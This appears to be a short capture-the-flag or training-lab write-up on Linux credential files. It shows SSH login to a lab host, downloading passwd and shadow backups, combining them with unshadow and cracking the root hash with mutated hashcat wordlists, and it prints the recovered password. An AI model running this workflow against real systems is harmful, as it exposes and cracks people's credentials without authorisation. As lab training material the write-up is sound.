# Passwd, Shadow & Opasswd

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Frs0VRMXezMlQStKl0DPJ%2Fimage.png?alt=media&#x26;token=da1a32ae-3f69-45e6-af37-7ac43522159d" alt=""><figcaption></figcaption></figure>

```
will:TUqr7QfLTLhruhVbCP
```

```
ssh will@10.129.62.155
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F3Wy2YYdTv6OlXr8rOW9X%2Fimage.png?alt=media&#x26;token=0091e8cd-61d3-4fb0-b9af-ae96598be519" alt=""><figcaption></figcaption></figure>

```
python3 -m http.server
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FYSl7yMdTxWe2aGRHn2md%2Fimage.png?alt=media&#x26;token=ed1cf89e-d666-4f8a-bfcb-c40011068ba9" alt=""><figcaption></figcaption></figure>

```
wget http://10.129.62.155:8000/passwd.bak
wget http://10.129.62.155:8000/shadow.bak
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FAMPtjFxkjqklyr2L4WmC%2Fimage.png?alt=media&#x26;token=0551d534-9ed7-4ef2-bee1-c1b1e7e216be" alt=""><figcaption></figcaption></figure>

```
sudo unshadow passwd.bak shadow.bak > unshadowed.hashes

ls
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fw8ilF7Onk8UJdk1vqdrf%2Fimage.png?alt=media&#x26;token=19d0dfd7-461a-47de-b4d8-1882f04b3bf4" alt=""><figcaption></figcaption></figure>

```
cat unshadowed.hashes
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJ7YovB17S9gm2hCSgUx7%2Fimage.png?alt=media&#x26;token=70617961-dccb-4645-b657-45425902ed82" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F7tCTQ6KVa5HC6gsYOz0G%2Fimage.png?alt=media&#x26;token=82e4eb12-56e8-4daa-bf3d-ea9e9d480b80" alt=""><figcaption></figcaption></figure>

Use the password list in the resources and mutate it using the customlist also from resources

```
hashcat --force password.list -r custom.rule --stdout > mut_password.list
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FsgPYoOpEl0CrYYPID5Lg%2Fimage.png?alt=media&#x26;token=550c8a51-90e4-4234-8c7e-e1beef1132f4" alt=""><figcaption></figcaption></figure>

```
hashcat -m 1800 root-hash.txt mut_password.list
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FoCXXdtywJ6ReAPUZVl5h%2Fimage.png?alt=media&#x26;token=273bedd5-bf0a-4eeb-9168-09ccb0dd39a2" alt=""><figcaption></figcaption></figure>

```
password - J0rd@n5
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FL0NHWrXnlk91XwEk5E8D%2Fimage.png?alt=media&#x26;token=4da29c8c-7803-432d-acd5-e3c94b493ae7" alt=""><figcaption></figcaption></figure>
